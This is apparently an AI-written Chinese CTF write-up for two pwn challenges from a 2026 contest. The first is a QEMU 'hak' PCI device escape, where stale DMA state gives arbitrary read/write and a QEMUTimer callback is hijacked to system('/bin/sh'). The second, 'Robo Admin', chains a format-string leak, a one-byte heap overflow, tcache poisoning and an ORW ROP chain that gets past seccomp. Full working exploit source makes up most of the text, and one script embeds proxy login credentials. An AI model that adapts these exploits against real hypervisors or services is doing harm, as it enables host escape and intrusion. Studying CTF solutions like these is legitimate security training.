
pwn· 更新于 2026-05-26
ccsssc-2026-半决赛
ccsssc-2026-半决赛
Attention! AI 写的 wp
hak
QEMU 自定义设备题,guest 里和 hak-pci 交互,最终改宿主机 QEMU 进程内存。重点在设备自己的状态管理,和 guest 内核没什么关系。
设备注册和初始化
hak_class_init 里:
PCI_DEVICE_CLASS(klass)->realize = hak_realize;
PCI_DEVICE_CLASS(klass)->vendor_id = 0xDEAD1337;
PCI_DEVICE_CLASS(klass)->revision = 1;
PCI_DEVICE_CLASS(klass)->class_id = 0xff;
guest 扫 PCI 找 vendor 0x1337 就能定位,exp.c 里的 pci_find_and_enable() 就这么做的,然后把 BAR0 映射成 MMIO。
hak_realize 做了三件事:注册 BAR0 MMIO、挂了一个 QEMUTimer、timer callback 是 hak_dma_timer_cb。
// hak_realize
memory_region_init_io(..., hak_mmio_ops, s, "hak-mmio", 0x1000);
pci_register_bar(dev, 0, 0, mmio_region);
timer_init_full(timer, 0, 1, 1, 0, hak_dma_timer_cb, s);
s->timer = timer;
hak_reset 决定了第一步泄露的形状:设备里有 16 个 0x100 的小 chunk,reset 时头插法串成 freelist,所以第一次申请小块拿到的是最后压进去的 chunk15。
// hak_reset
memset(chunks_and_entries, 0, ...);
for (i = 0; i < 16; i++) {
memset(&entry[i], 0, 0x20);
chunk[i].next = freelist_head;
freelist_head = &chunk[i];
}
MMIO 接口
接口只允许 8 字节访问:
hak_mmio_ops = {
.read = hak_mmio_read,
.write = hak_mmio_write,
.valid.min_access_size = 8,
.valid.max_access_size = 8,
}
exp.c 里封了一层 hak_r64() 就是这原因。
hak_mmio_write
关键 case:
case 0x00: // alloc
if (size <= 0x100 && freelist)
entry[idx].ptr = pop_freelist();
else
entry[idx].ptr = g_malloc(size);
entry[idx].id = idx;
entry[idx].flags_size = size * 2 + 1;
// dma_addr / dma_len 没清
break;
case 0x08: // free
if (entry[idx].size > 0x100)
g_free(entry[idx].ptr);
else
append_to_freelist_tail(entry[idx].ptr);
memset(&entry[idx], 0, 0x20);
break;
case 0x10: // trigger dma write
dma_dir = 1;
timer_mod_ns(timer, now + 1000);
break;
case 0x18: // set offset
if (off < entry[selected].size)
selected_offset = off;
break;
case 0x20: // select
selected = idx;
break;
case 0x28: // set dma addr
entry[idx].dma_addr = addr & ~0xf;
break;
case 0x30: // set dma len
if (len <= entry[idx].size)
entry[idx].dma_len = len;
break;
两个有用的点:
alloc只改ptr/id/size,没清dma_addr/dma_len。- 小 chunk
free回 freelist 没清 chunk 头,旧next指针还在,泄露地址用。
hak_mmio_read
if (addr == 0) {
dma_dir = 0;
timer_mod_ns(timer, now + 1000);
return 0;
}
if (addr == 8 && offset + size < entry[selected].size) {
memcpy(tmp, entry[selected].ptr + offset, size);
return tmp;
}
addr == 8 可以把 entry[selected].ptr + offset 处的内容读回来,伪造 entry.ptr 之后就是任意读。
hak_dma_timer_cb
if (entry[sel].allocated && entry[sel].ptr && entry[sel].dma_len) {
dma_memory_rw(&address_space_memory,
entry[sel].dma_addr,
0x100000000,
entry[sel].ptr,
entry[sel].dma_len,
dma_dir == 0 ? 1 : 0);
}
没有重新检查 dma_len <= 当前 ptr 对应缓冲区大小,stale DMA 核心在这里。
漏洞
hak_reset预置可预测 freelist。- 小块 free 不清
next,chunk 里残留堆内地址。 alloc不清旧dma_addr/dma_len,stale DMA state。hak_dma_timer_cb信任这个 stale state,按旧长度写进新缓冲区。
整条链:freelist 泄露设备对象地址 → stale DMA 越界冲掉 entry[] → 伪造任意读写原语。
exp 打法(hak\bin\exp.c)
设备接口封装和 MMIO case 一一对应:
static void hak_alloc(int idx, int sz) { mmio_w64(0x00, idx << 16 | sz); }
static void hak_free(int idx) { mmio_w64(0x08, idx << 16); }
static void hak_sel(int idx) { mmio_w64(0x20, idx << 16); }
static void hak_off(int off) { mmio_w64(0x18, off << 16); }
static void hak_dma_addr(int idx, u64 a) { mmio_w64(0x28, (a & ~0xf) | idx); }
static void hak_dma_len(int idx, u64 l) { mmio_w64(0x30, (l & ~0xf) | idx); }
static void hak_dma_w(void) { mmio_w64(0x10, 0); }
addr==8 读路径按 4 字节搬,所以 hak_r64() 改两次 offset 各读一次再拼。
第一步:泄露 dev_state
hak_alloc(0, 0x80);
hak_sel(0);
u64 leak = hak_r64(0);
u64 dev_state = leak - (3052 + 14 * 256);
读到的是 chunk15->next,即 chunk14 地址,chunk 区和设备对象基址距离固定,反推 dev_state。
第二步:清空 chunk 头,绕 freelist 检查
直接 free(0) 会把 chunk 挂回 freelist 尾,但头部旧 next 还在,之后分配走到自检分支就 abort。先把全零 DMA buffer 写回 chunk 头:
hak_dma_addr(0, dma_phys);
hak_dma_len(0, 0x10);
hak_sel(0);
hak_dma_w();
然后 free,再把其余小块全拿走,freelist 最后只剩 chunk15。
第三步:stale DMA 越界,伪造 entry
hak_alloc(0, 0x200);
hak_dma_addr(0, dma_phys);
hak_dma_len(0, 0x1f0);
hak_alloc(0, 0x80);
先把 idx=0 分配成 0x200,设好 dma_len=0x1f0,再重新分配成 0x80。entry[0].ptr 已经是 chunk15,但 dma_len 还是旧的 0x1f0,触发 DMA 就从 chunk15 一路覆盖到后面的 entry[]:
entry_t *e = (entry_t *)(dma_buf + 260);
e[0].flags_size = 0x201;
e[0].ptr = dev_state + DS_CHUNK15;
e[1].flags_size = 0x4001;
e[1].ptr = dev_state;
e[2].flags_size = 0x4001;
e[2].ptr = dev_state + DS_ENTRY1_PTR;
entry[1] 是读写目标,初始指向 dev_state;entry[2] 指向 entry[1].ptr 字段,用来改写目标地址。set_target() 就是把地址写进 guest buffer,让 entry[2] 做一次 DMA 打进 entry[1].ptr,之后切 entry[1] 就是任意读写。
第四步:泄露 timer、code、libc
hak_sel(1);
u64 timer_ptr = hak_r64(0xBE0);
u64 leak3 = hak_r64(0x378);
u64 code_base = leak3 - 0x5d9e10;
从设备对象里直接读,再把目标切到 code_base + 0x1B131D0 取已解析的 libc 指针:
set_target(code_base + 0x1B131D0);
hak_sel(1);
u64 leak4 = hak_r64(0);
u64 libc_base = leak4 - 0x11ba80;
第五步:劫持 QEMUTimer
struct QEMUTimer {
int64_t expire_time;
QEMUTimerList *timer_list;
QEMUTimerCB *cb; // 劫持目标 (RIP)
void *opaque; // 参数 (RDI)
...
};
直接把 cb 改成 system,opaque 改成 "/bin/sh":
set_target(timer_ptr + 0x10);
hak_sel(1);
hak_dma_addr(1, dma_phys + 0x1800);
hak_dma_len(1, 0x10);
timer[0] = libc_base + 0x58750; // system
timer[1] = libc_base + 0x1cb42f; // "/bin/sh"
hak_dma_w(); // 第一次:原 callback 执行,把 cb/opaque 覆掉
hak_dma_w(); // 第二次:arm timer,callback 已经是 system
两个 hak_dma_w() 缺一不可,第一次写入,第二次触发。
完整 exp(hak\bin\exp.c)
// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp
#define _GNU_SOURCE
#include <assert.h>
#include <ctype.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/io.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <unistd.h>
#define C_RESET "\033[0m"
#define C_BOLD "\033[1m"
#define C_RED "\033[31m"
#define C_GREEN "\033[32m"
#define C_YELLOW "\033[33m"
#define C_BLUE "\033[34m"
#define C_MAGENTA "\033[35m"
#define C_CYAN "\033[36m"
#define C_ERR C_RED C_BOLD
#define C_INFO C_BLUE C_BOLD
#define C_OK C_GREEN C_BOLD
#define C_WARN C_YELLOW
#define C_DBG C_MAGENTA
#define LOG_IMPL(tag_color, tag, fmt) \
do { \
va_list _ap; \
va_start(_ap, fmt); \
fputs(tag_color "[" tag "] " C_RESET, stdout); \
vprintf(fmt, _ap); \
fputc('\n', stdout); \
va_end(_ap); \
} while (0)
__attribute__((format(printf, 1, 2))) static void info(const char* fmt, ...) { LOG_IMPL(C_INFO, "+", fmt); }
__attribute__((format(printf, 1, 2))) static void success(const char* fmt, ...) { LOG_IMPL(C_OK, "*", fmt); }
__attribute__((format(printf, 1, 2))) static void warn(const char* fmt, ...) { LOG_IMPL(C_WARN, "!", fmt); }
__attribute__((format(printf, 1, 2))) static void dbg(const char* fmt, ...) { LOG_IMPL(C_DBG, "#", fmt); }
__attribute__((format(printf, 1, 2), noreturn)) static void err_exit(const char* fmt, ...) {
va_list ap;
va_start(ap, fmt);
fputs(C_ERR "[x] " C_RESET, stdout);
vprintf(fmt, ap);
if (errno) printf(" (errno=%d: %s)", errno, strerror(errno));
fputc('\n', stdout);
va_end(ap);
fflush(stdout);
sleep(5);
exit(EXIT_FAILURE);
}
__attribute__((format(printf, 1, 2))) static void hex(const char* fmt, ...) { LOG_IMPL(C_OK, "+", fmt); }
void binary_dump(char* desc, void* addr, int len) {
u_int64_t* buf64 = (u_int64_t*)addr;
uint8_t* buf8 = (uint8_t*)addr;
if (desc != NULL) printf(C_WARN "[*] %s:\n" C_RESET, desc);
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
static void stdio_unbuf(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
static void pin_cpu(int cpu) {
cpu_set_t s;
CPU_ZERO(&s);
CPU_SET(cpu, &s);
if (sched_setaffinity(0, sizeof(s), &s) != 0) warn("sched_setaffinity(%d) failed", cpu);
}
static void realtime_prio(int prio) {
struct sched_param sp = {.sched_priority = prio};
if (sched_setscheduler(0, SCHED_FIFO, &sp) != 0) warn("sched_setscheduler SCHED_FIFO(%d) failed", prio);
}
#define mb() __asm__ __volatile__("mfence" ::: "memory")
#define rmb() __asm__ __volatile__("lfence" ::: "memory")
#define wmb() __asm__ __volatile__("sfence" ::: "memory")
#define cpu_relax() __asm__ __volatile__("pause" ::: "memory")
void* mmio_mem;
static inline uint8_t mmio_r8(u_int64_t off) { return *(volatile uint8_t*)((uint8_t*)mmio_mem + off); }
static inline uint16_t mmio_r16(u_int64_t off) { return *(volatile uint16_t*)((uint8_t*)mmio_mem + off); }
static inline uint32_t mmio_r32(u_int64_t off) { return *(volatile uint32_t*)((uint8_t*)mmio_mem + off); }
static inline u_int64_t mmio_r64(u_int64_t off) { return *(volatile u_int64_t*)((uint8_t*)mmio_mem + off); }
static inline void mmio_w8(u_int64_t off, uint8_t v) { *(volatile uint8_t*)((uint8_t*)mmio_mem + off) = v; }
static inline void mmio_w16(u_int64_t off, uint16_t v) { *(volatile uint16_t*)((uint8_t*)mmio_mem + off) = v; }
static inline void mmio_w32(u_int64_t off, uint32_t v) { *(volatile uint32_t*)((uint8_t*)mmio_mem + off) = v; }
static inline void mmio_w64(u_int64_t off, u_int64_t v) { *(volatile u_int64_t*)((uint8_t*)mmio_mem + off) = v; }
static void* pci_map_bar(const char* sysfs_resource, size_t len) {
int fd = open(sysfs_resource, O_RDWR | O_SYNC);
if (fd < 0) err_exit("open(%s)", sysfs_resource);
void* m = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (m == MAP_FAILED) err_exit("mmap %s", sysfs_resource);
close(fd);
info("BAR %s mapped @ %p (len=%#zx)", sysfs_resource, m, len);
return m;
}
static inline uint8_t pio_in8(uint16_t p) { return inb(p); }
static inline uint16_t pio_in16(uint16_t p) { return inw(p); }
static inline uint32_t pio_in32(uint16_t p) { return inl(p); }
static inline void pio_out8(uint16_t p, uint8_t v) { outb(v, p); }
static inline void pio_out16(uint16_t p, uint16_t v) { outw(v, p); }
static inline void pio_out32(uint16_t p, uint32_t v) { outl(v, p); }
#define PAGE_SIZE 0x1000UL
#define HUGE_SIZE 0x200000UL
static u_int64_t virt_to_phys(void* vaddr) {
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) return 0;
u_int64_t vfn = (u_int64_t)vaddr / PAGE_SIZE;
u_int64_t entry = 0;
if (pread(fd, &entry, sizeof(entry), vfn * 8) != sizeof(entry)) {
close(fd);
return 0;
}
close(fd);
if (!(entry & (1ULL << 63))) return 0;
u_int64_t pfn = entry & ((1ULL << 55) - 1);
return (pfn * PAGE_SIZE) | ((u_int64_t)vaddr & (PAGE_SIZE - 1));
}
static void* alloc_phys_pinned(size_t size, u_int64_t* phys_out) {
void* p = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE | MAP_LOCKED, -1, 0);
if (p == MAP_FAILED) err_exit("mmap(%zu)", size);
memset(p, 0, size);
if (mlock(p, size) != 0) warn("mlock failed — pages may get evicted");
if (phys_out) {
*phys_out = virt_to_phys(p);
if (!*phys_out) err_exit("virt_to_phys (run as root? /proc/self/pagemap restricted)");
}
return p;
}
static void* alloc_hugepage(u_int64_t* phys_out) {
void* p = mmap(NULL, HUGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB | MAP_POPULATE, -1, 0);
if (p == MAP_FAILED) {
warn("hugepage mmap failed — is /sys/kernel/mm/hugepages/*/nr_hugepages > 0?");
return NULL;
}
memset(p, 0, HUGE_SIZE);
if (phys_out) *phys_out = virt_to_phys(p);
return p;
}
static ssize_t slurp(const char* path, void* buf, size_t cap) {
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
ssize_t n = read(fd, buf, cap);
close(fd);
return n;
}
static void xwrite_file(const char* path, const void* buf, size_t n) {
int fd = open(path, O_WRONLY);
if (fd < 0) err_exit("open(%s) W", path);
if (write(fd, buf, n) != (ssize_t)n) err_exit("write(%s)", path);
close(fd);
}
/* ============ device state offsets (from opaque base) ============ */
#define DS_TIMER_PTR 3040
#define DS_DMA_DIR 3048
#define DS_SELECTED 3049
#define DS_OFFSET 3050
#define DS_CHUNKS 3052
#define DS_CHUNK15 6892
#define DS_ENTRIES 7152
#define DS_ENTRY1_PTR 7192
#define DS_MUTEX 7664
#define DS_FREELIST 7720
/* ============ globals ============ */
static uint8_t* dma_buf;
static u_int64_t dma_phys;
/* ============ device API ============
*
* valid.min = valid.max = 8 → guest MUST use 8-byte accesses
* impl.min = impl.max = 0 → defaults to 1/4
*
* QEMU splits each 8-byte access into two 4-byte handler calls:
* - writes: (addr, low32, 4) then (addr+4, high32, 4). addr+4 no match → ignored.
* - reads: (addr, 4) then (addr+4, 4). addr+4 returns -1 → upper 32 bits = 0xFFFFFFFF.
*/
static void hak_alloc(int idx, int sz) { mmio_w64(0x00, (u_int64_t)idx << 16 | sz); }
static void hak_free(int idx) { mmio_w64(0x08, (u_int64_t)idx << 16); }
static void hak_sel(int idx) { mmio_w64(0x20, (u_int64_t)idx << 16); }
static void hak_off(int off) { mmio_w64(0x18, (u_int64_t)off << 16); }
static void hak_dma_addr(int idx, u_int64_t a) { mmio_w64(0x28, (a & ~0xfULL) | (idx & 0xf)); }
static void hak_dma_len(int idx, u_int64_t l) { mmio_w64(0x30, (l & ~0xfULL) | (idx & 0xf)); }
static void hak_dma_r(void) { mmio_r64(0x00); }
static void hak_dma_w(void) { mmio_w64(0x10, 0); }
static void breakpoint(int n) { mmio_w64(0x20, n << 16); }
static uint32_t hak_r32(void) { return (uint32_t)mmio_r64(0x08); }
static u_int64_t hak_r64(int off) {
hak_off(off);
uint32_t lo = hak_r32();
hak_off(off + 4);
uint32_t hi = hak_r32();
return (u_int64_t)hi << 32 | lo;
}
static void dma_wait(void) { usleep(100000); }
/* ============ PCI device discovery ============ */
static void pci_find_and_enable(const char* vendor, char* res_path, size_t len) {
char path[256], buf[16];
DIR* dir = opendir("/sys/bus/pci/devices");
if (!dir) err_exit("opendir pci devices");
struct dirent* ent;
while ((ent = readdir(dir)) != NULL) {
if (ent->d_name[0] == '.') continue;
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/vendor", ent->d_name);
if (slurp(path, buf, sizeof(buf) - 1) <= 0) continue;
buf[15] = 0;
if (!strstr(buf, vendor)) continue;
snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/config", ent->d_name);
int fd = open(path, O_RDWR);
if (fd >= 0) {
uint16_t cmd;
pread(fd, &cmd, 2, 4);
cmd |= 0x6;
pwrite(fd, &cmd, 2, 4);
close(fd);
}
snprintf(res_path, len, "/sys/bus/pci/devices/%s/resource0", ent->d_name);
closedir(dir);
return;
}
closedir(dir);
err_exit("PCI device vendor=%s not found", vendor);
}
/* ============ entry layout ============ */
typedef struct __attribute__((packed)) {
uint32_t flags_size;
uint32_t id;
u_int64_t ptr;
u_int64_t dma_addr;
uint32_t dma_len;
uint32_t pad;
} entry_t;
/* ============ main ============ */
static void set_target(u_int64_t addr) {
*(u_int64_t*)(dma_buf + 0x1000) = addr;
*(u_int64_t*)(dma_buf + 0x1008) = 0;
hak_dma_addr(2, dma_phys + 0x1000);
hak_dma_len(2, 0x10);
hak_sel(2);
hak_dma_w();
dma_wait();
}
int main() {
stdio_unbuf();
char res_path[256];
pci_find_and_enable("0x1337", res_path, sizeof(res_path));
mmio_mem = pci_map_bar(res_path, 0x1000);
dma_buf = alloc_phys_pinned(0x2000, &dma_phys);
hex("dma virt=%p phys=0x%lx", dma_buf, dma_phys);
hak_alloc(0, 0x80);
hak_sel(0);
u_int64_t leak = hak_r64(0);
hex("leak=0x%lx", leak);
u_int64_t entrys = leak + 0x204;
hex("entrys=0x%lx", entrys);
u_int64_t dev_state = leak - (3052 + 14 * 256);
hex("dev_state=0x%lx", dev_state);
hak_dma_addr(0, dma_phys);
hak_dma_len(0, 0x10);
hak_sel(0);
hak_dma_w();
dma_wait();
hak_free(0);
for (int i = 1; i <= 14; i++) hak_alloc(i, 0x80);
hak_alloc(15, 0x80);
hak_alloc(0, 0x200);
hak_dma_addr(0, dma_phys);
hak_dma_len(0, 0x1F0);
hak_alloc(0, 0x80);
typedef struct __attribute__((packed)) {
uint32_t flags_size;
uint32_t id;
u_int64_t ptr;
u_int64_t dma_addr;
uint32_t dma_len;
uint32_t pad;
} entry_t;
entry_t* e = (entry_t*)(dma_buf + 260);
e[0].flags_size = 0x201;
e[0].id = 0;
e[0].ptr = dev_state + DS_CHUNK15;
e[1].flags_size = 0x4001;
e[1].id = 1;
e[1].ptr = dev_state;
e[2].flags_size = 0x4001;
e[2].id = 2;
e[2].ptr = dev_state + DS_ENTRY1_PTR;
hak_sel(0);
hak_dma_w();
dma_wait();
hak_sel(1);
u_int64_t leak2 = hak_r64(8);
hex("leak2=0x%lx", leak2);
u_int64_t libglib_base = leak2 - 0x5f6c0;
hex("libglib_base=0x%lx", libglib_base);
u_int64_t timer_ptr = hak_r64(0xBE0);
hex("timer_ptr=0x%lx", timer_ptr);
u_int64_t leak3 = hak_r64(0x378);
u_int64_t code_base = leak3 - 0x5d9e10;
hex("code_base=0x%lx", code_base);
/*
struct QEMUTimer {
int64_t expire_time;
QEMUTimerList* timer_list;
QEMUTimerCB* cb; // <--- 劫持目标 (RIP)
void* opaque; // <--- 参数目标 (RDI)
QEMUTimer* next;
int scale;
};
*/
set_target(code_base + 0x1B131D0);
hak_sel(1);
u_int64_t leak4 = hak_r64(0);
hex("leak4=0x%lx", leak4);
u_int64_t libc_base = leak4 - 0x11ba80;
hex("libc_base=0x%lx", libc_base);
set_target(timer_ptr + 0x10);
hak_sel(1);
hak_dma_addr(1, dma_phys + 0x1800);
hak_dma_len(1, 0x10);
u_int64_t* timer = (u_int64_t*)(dma_buf + 0x1800);
timer[0] = libc_base + 0x58750;
timer[1] = libc_base + 0x1cb42f;
info("Write QEMUimer");
hak_dma_w();
dma_wait();
info("Trigger QEMUimer");
hak_dma_w();
return 0;
}
Robo Admin
前后呼应的题,前半段格式化字符串专门给后半段堆利用准备 stack / PIE / libc / creds,后半段一字节溢出打 tcache 到栈上做 ROP。
FIX

入口和初始化
main 很短:
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
setup_seccomp();
reset_state();
gen_random_creds();
while (1) {
puts("1. set notice");
puts("2. show status");
puts("3. admin login");
...
}
reset_state
for (i = 0; i <= 7; ++i) {
if (heap[i]) free(heap[i]);
heap[i] = 0;
size[i] = 0;
}
memset(name, 0, 0xc0);
memset(slot, 0, 8);
memset(s_0, 0, 0x100);
dword_52C0 = dword_52C4 = dword_52C8 = 0;
qword_52D0 = qword_52D8 = 0;
初始化状态,没坑。
gen_random_creds
getrandom(&qword_52D0, 8, 0);
getrandom(&qword_52D8, 8, 0);
管理员密码从这来,后面 admin_login 里会被拼成 32 个 hex 字符。
setup_seccomp
ctx = seccomp_init(0x7fff0000);
seccomp_rule_add(ctx, 0, 2, 0); // open
seccomp_rule_add(ctx, 0, 59, 0); // execve
seccomp_rule_add(ctx, 0, 322, 0); // execveat
seccomp_load(ctx);
黑了 open/execve/execveat,所以后面走 ORW。小细节:exp 用的是 libc.sym.open,glibc open wrapper 走 openat(257),没撞 seccomp。
格式化字符串
关键函数三个:do_read、set_notice、vuln_show_status_fmtstr。
set_notice
do_read(s, 512);
if (strchr(s, '%') || strchr(s, '$')) {
puts("[X] raw input contains illegal chars");
} else if (hex_decode(s, src, 256)) {
puts("[X] decode failed");
} else {
memcpy(s_0, src, 0x100);
dword_52C0 = 1;
}
看起来过滤了 % 和 $,但 hex_decode 会把 \x25 -> %、\x24 -> $,过滤发生在解码前,直接绕。exp 里:
s = s.replace(b'$', b'\\x24')
s = s.replace(b'%', b'\\x25')
vuln_show_status_fmtstr
printf("Notice: ");
if (has_notice) {
if (printed_once) {
printf("%s", s_0);
} else {
printed_once = 1;
printf(s_0, ..., qword_52D0, qword_52D8, stack_anchor...);
}
}
第一次 show status 是 printf(s_0),格式化字符串;第二次退化成 printf("%s", s_0)。泄露必须一次拿够:
set_notice(b'%14$p%15$p%23$p%6$p%7$p#')
show()
一次拿出栈地址、PIE 基址、libc 基址、qword_52D0、qword_52D8。
admin_login
没洞,但秘密前面已经全拿了:
snprintf(pass, 0x28, "%016lx%016lx", qword_52D0, qword_52D8);
if (!strcmp(token, "ROBOADMIN") && !strcmp(buf, pass))
puts("[+] login success");
直接登进去。
堆利用
漏洞:vuln_task_edit_off_by_one
nbytes = read_size_range("Write length :", 1, size[idx] + 1);
read_size = read(0, heap[idx], nbytes);
申请时 size[idx] 字节,编辑允许写 size[idx] + 1,稳定一字节堆溢出。
第一段:overlap 泄露 heap_base
add(0, 0x98, b'a')
dele(0)
for i in range(8):
if i == 3:
add(i, 0xF8, b'a')
else:
add(i, 0x1E8, b'a')
edit(4, b'\x00' * 0xE8 + p64(0x21) + b'\x00' * 0x10 + p64(0x20) + p64(0x21))
edit(2, b'\x00' * 0x1E8 + b'\xf1')
两次 off-by-one 改 size 低字节,做出 overlap,把 chunk 塞进合适的 tcache bin,然后:
show(7)
ru(b' => ')
heap_base = (u64_ex(ru(b'\n', drop=1)) - 2) << 12
读出 freed chunk 里的 safe-linking 指针,还原 heap_base(glibc 2.35 safe-linking,后面毒 fd 要用)。
第二段:tcache poisoning 到栈
edit(7, p64(protect_ptr(heap_base + 0x2030, stack - 0x30)))
add(3, 0x48, b'a')
add(4, 0x48, b'a')
第二次 add(4, 0x48) 返回的 chunk 落在 stack - 0x30 附近,之后 edit(4, ...) 就是改栈。
两段式 ROP
直接在栈空间有限,先写第一阶段:
edit(4, flat([
0,
rdi, 0,
rsi, stack - 0x28 + 0x40,
rdx_rbx, 0x200, 0,
libc.sym.read
]))
read(0, new_stack, 0x200) 把第二阶段链读进来,然后 logout 触发 task_menu 返回:
sla(IAT, b'6')
sl(orw)
第二阶段 ORW:
orw = flat([
rdi, stack + 0x20,
rsi, 0,
libc.sym.open,
rdi, 3,
rsi, stack + 0x500,
rdx_rbx, 0x100, 0,
libc.sym.read,
rdi, 1,
libc.sym.write
])
seccomp 黑了 open 但 glibc wrapper 走 openat,flag 照读。
完整 exp(Robo Admin\robo_admin.py)
#!/usr/bin/env python3
from pwncli import *
import socks
def remote_socks5(host, port, proxy_host="127.0.0.1", proxy_port=1080, proxy_user=None, proxy_pass=None):
s = socks.socksocket()
s.set_proxy(socks.SOCKS5, proxy_host, proxy_port, username=proxy_user, password=proxy_pass)
s.connect((host, port))
return remote.fromsocket(s)
context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './robo_admin')
if local_flag == "remote":
gift.io = remote_socks5('192.0.100.2', 9999, '9.dart.ccsssc.com', 26657, 'wdc4j0ta', 'ysp7kchy')
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
cmd = '''
brva 0x1A4A
brva 0x249A
brva 0x1DA9
brva 0x1F32
brva 0x227F
brva 0x20A4
brva 0x2635
set $h = $rebase(0x5140)
dir /mnt/f/Documents/CTF/glibc/glibc-2.35
c
# b unlink_chunk
'''
def set_notice(s):
sla(b'> \n', b'1')
s = s.replace(b'$', b'\\x24')
s = s.replace(b'%', b'\\x25')
sl(s)
def show():
sla(b'> \n', b'2')
set_notice(b'%14$p%15$p%23$p%6$p%7$p#')
show()
ru(b'0x')
stack = int(ru(b'0x', drop=1), 16)
code_base = int(ru(b'0x', drop=1), 16) - 0x2893
libc_base = int(ru(b'0x', drop=1), 16) - 0x29D90
leak_ex2(stack)
set_current_code_base_and_log(code_base)
set_current_libc_base_and_log(libc_base)
token = int(ru(b'0x', drop=1), 16)
passwd = int(ru(b'#', drop=1), 16)
leak_ex2(token)
leak_ex2(passwd)
sla(b'> \n', b'3')
sla(b'Token:\n', b'ROBOADMIN')
sla(b'Password (32 hex):\n', hex(token)[2:] + hex(passwd)[2:])
IAT = b'> \n'
def add(idx, size, name=b'a'):
sla(IAT, b'1')
sla(b'Index:\n', str(idx))
sla(b'Task name:\n', name)
sla(b'size', str(size))
def dele(idx):
sla(IAT, b'5')
sla(b'Index:\n', str(idx))
def edit(idx, data):
sla(IAT, b'2')
sla(b'Index:\n', str(idx))
sla(b'Write length :\n', str(len(data)))
sa(b'New desc bytes:\n', data)
def show(idx):
sla(IAT, b'3')
sla(b'Index:\n', str(idx))
def show_list():
sla(IAT, b'4')
add(0, 0x98, b'a')
dele(0)
for i in range(8):
if i == 3:
add(i, 0xF8, b'a')
else:
add(i, 0x1E8, b'a')
edit(4, b'\x00' * 0xE8 + p64(0x21) + b'\x00' * 0x10 + p64(0x20) + p64(0x21))
edit(2, b'\x00' * 0x1E8 + b'\xf1')
for i in range(8):
if i != 3:
dele(i)
dele(3)
add(7, 0xF8, b'a')
dele(7)
add(6, 0x48, b'a')
add(7, 0x48, b'a')
add(0, 0x1E8, b'a')
add(1, 0x1E8, b'a')
add(2, 0x1E8, b'a')
add(3, 0x1E8, b'a')
edit(2, b'\x00' * 0x1E8 + b'\xb1')
dele(3)
show(7)
ru(b' => ')
heap_base = (u64_ex(ru(b'\n', drop=1)) - 2) << 12
log_heap_base_addr(heap_base)
add(3, 0x48, b'a')
dele(6)
dele(3)
edit(7, p64(protect_ptr(heap_base + 0x2030, stack - 0x30)))
add(3, 0x48, b'a')
add(4, 0x48, b'a')
CG.set_find_area(0, 1)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = CG.pop_rdx_rbx_ret()
rcx = CG.pop_rcx_ret()
ret = CG.ret()
edit(4, flat([0, rdi, 0, rsi, stack - 0x28 + 0x40, rdx_rbx, 0x200, 0, libc.sym.read]))
launch_gdb(cmd)
leak_ex2(stack)
sla(IAT, b'6')
orw = p64(rdi) + b'/flag\x00\x00\x00' + flat([rdi, stack + 0x20, rsi, 0, libc.sym.open, rdi, 3, rsi, stack + 0x500, rdx_rbx, 0x100, 0, libc.sym.read, rdi, 1, libc.sym.write])
pause()
sl(orw)
ia()


